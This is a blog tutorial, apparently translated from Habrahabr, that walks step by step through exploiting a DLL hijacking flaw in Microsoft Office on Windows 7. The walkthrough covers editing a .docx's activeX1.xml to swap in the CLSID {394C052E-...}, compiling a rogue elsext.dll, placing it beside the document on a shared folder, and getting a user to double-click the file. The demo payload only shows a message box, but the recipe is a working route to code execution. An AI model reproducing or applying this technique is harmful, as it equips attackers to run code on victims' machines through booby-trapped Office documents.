DIY: dll hijacking under MS Office for the youngest

Three days have passed since the researcher Parvez Anwar published information about multiple dll hijacking vulnerabilities in Microsoft Office products, and no reaction was observed. Neither CVE, nor messages on specialized resources, Windows Update does not download fresh patches. Well, maybe it should be, maybe it is not a visibility, but a feature of the product?
Meanwhile, the operation of this feature is simple and accessible even to a child. And, since the manufacturer has not yet removed this feature, why not write a short article about it.

It's about Windows 7. Whether it works on other versions - I currently do not know, need to check. The principle of operation of the described phenomenon (like many others, however) is based on the good old technology COM / OLE / ActiveX.
COM is designed to embody OOP and code reuse, allowing any application to use classes (or components ) once created by someone if these classes are registered in the system. Registering a component is essentially the corresponding registry entries. Each class when it is created is assigned a unique 16-byte identifier - CLSID, which will uniquely identify this component at any time on any
the computer. Global identifiers of all classes registered in the system contains the registry branch HKEY_CLASSES_ROOT \ CLSID.


')
The executable code of the component must be in the form of a .dll library (in fact, not always, but for this task it can be simplified). The link to the library is contained in the InprocServer32 subkey of the registry key corresponding to the component.



In the case when the application wants to use the functionality implemented by one of the components, it sends the system a request to create an instance of the class (the CLSID of this class is transmitted). If such a class is registered, the system reads the registry and loads the required .dll into the process address space, then calls the code from the library that creates the desired object.

And what about MS Office applications? In addition to the fact that they are also loaded with COM technology (and even themselves are COM objects), they also allow you to create / read documents containing ActiveX controls.
In fact, such a document is a file containing (in addition to text, images, formatting, etc.) the component identifier and some information about the properties of the embedded object. Let's see how it looks in practice.

Open MS Word. If you have not connected the tab "Developer" / "Developer", you must connect it in the settings: File-> Options-> Customize Ribbon, File-> Options-> Customize Ribbon, File-> Options Word-> Show the tab "Developer" on tape, etc., depending on which version of MS Office you have installed.



Go to the tab "Developer" and select the button with a hammer and a wrench "Tools from previous versions."



Then a similar button "Other controls."



In the window that appears, select the ActiveX component to your liking, I like the Microsoft Forms 2.0 Command Button.





If you open the registry and search by component name, you may find that the CLSID of our control

{D7053240-CE69-11CD-A777-00DD01143C57}, and the library containing its executable code is FM20.DLL.





What will be the document that we created? Let's save it and see.
The .docx format is a well-known ZIP. We unpack any suitable utility.



The archive contains several folders with files. We need word \ activeX \ activeX1.xml
Open it with a regular text editor and see something like this.

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{D7053240-CE69-11CD-A777-00DD01143C57}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> 

As you can see, the CLSID of the control is present and can easily be replaced.

Now we need to say a few words about what, in fact, it can be replaced, as well as what dll hijacking is and why it all works.

You can replace CLSID with CLSID of any other control, and not only control, but any ActiveX, and even not only ActiveX, but any COM class registered in the system (you can also use any random GUID, but it’s not interesting consequences will not lead).

The thing is, after reading the identifier from the document, MS Word will transfer it to the system, the system will first of all try to load the library into the process memory and call the first functions from it (DllMain, DllGetClassObject, IClassFactory :: CreateInstance, etc.). And only after that the application will begin to find out what kind of library it is, what kind of component, whether it is possible to add it to the document, and he needs it at all. It may easily turn out that a component does not fit in according to some criteria, but it turns out already after its executable code was in the virtual memory of the process and received control. It will not be unloaded even after MS Word has determined that it does not need this class! This behavior leads to a number of curious phenomena, including the one described in this article.

Now about dll hijacking. “Dynamic library hijacking” is the usual, original, and even somewhat logical behavior of a Windows application when it searches for the library it needs in the directory that is current for it, and only then in the places defined by the OS settings. Everything would have been nothing if the attackers had not sooner (and quite long ago) figured out that they could put their own library with the same name as a document next to a document or shortcut.
library that the application expects to find.
In fact, this technology has been around for many years, Microsoft has been struggling with it for a long time, persistently, and, as you can see, it is still not entirely effective.

This time, the researchers discovered several dlls, lost in the depths of the Windows 7 operating system, that load other dlls and search for them - until now! - in the current directory of the process. These Microsoft forgotten snap-ins for the management console, additives for Oracle and something else equally well-known and often used - turned out to be also COM-classes. Which, as you may have guessed, we can embed in a regular MS Office document.

Let's return to our MS Word and change the CLSID in the unpacked document to any convenient one from the report.
Parvez Anwar . For example, the first is {394C052E-B830-11D0-9A86-00C04FD8DBF7}.

 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{394C052E-B830-11D0-9A86-00C04FD8DBF7}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> 

Pack the document (rename it back to .docx if necessary).



Now we need our own dll called elsext.dll. It doesn't matter what you create it with, as long as it has the same bitness as the MS Office package was capable of downloading, and you could add your code to DllMain or DllGetClassObject. I'll take the good old VC6 - I have a 32bit office.

 #include <windows.h> int __stdcall DllMain (HANDLE, DWORD, LPVOID) { MessageBox (0, "Hello Habrahabr!", 0, MB_ICONEXCLAMATION); return true; } 

It remains to put our elsext.dll in one directory (can be in a shared network folder) with a modified document and ask the user to open / read this document.



One more thing: with the dll hijacking, as you remember, Microsoft is fighting. Therefore, when MS Word starts, it changes the current directory to the “Documents” of the current user. Unfortunately (or fortunately) when you call an application to open a document (for example, by double clicking in the explorer), MS Word first tries to open the document with all the ensuing consequences, and only then changes its current directory to “Documents” . From this follows the fact that our dll will be loaded only if the user has opened the document with a double click, and MS Word has not been started before (otherwise the system32 elsext.dll will load).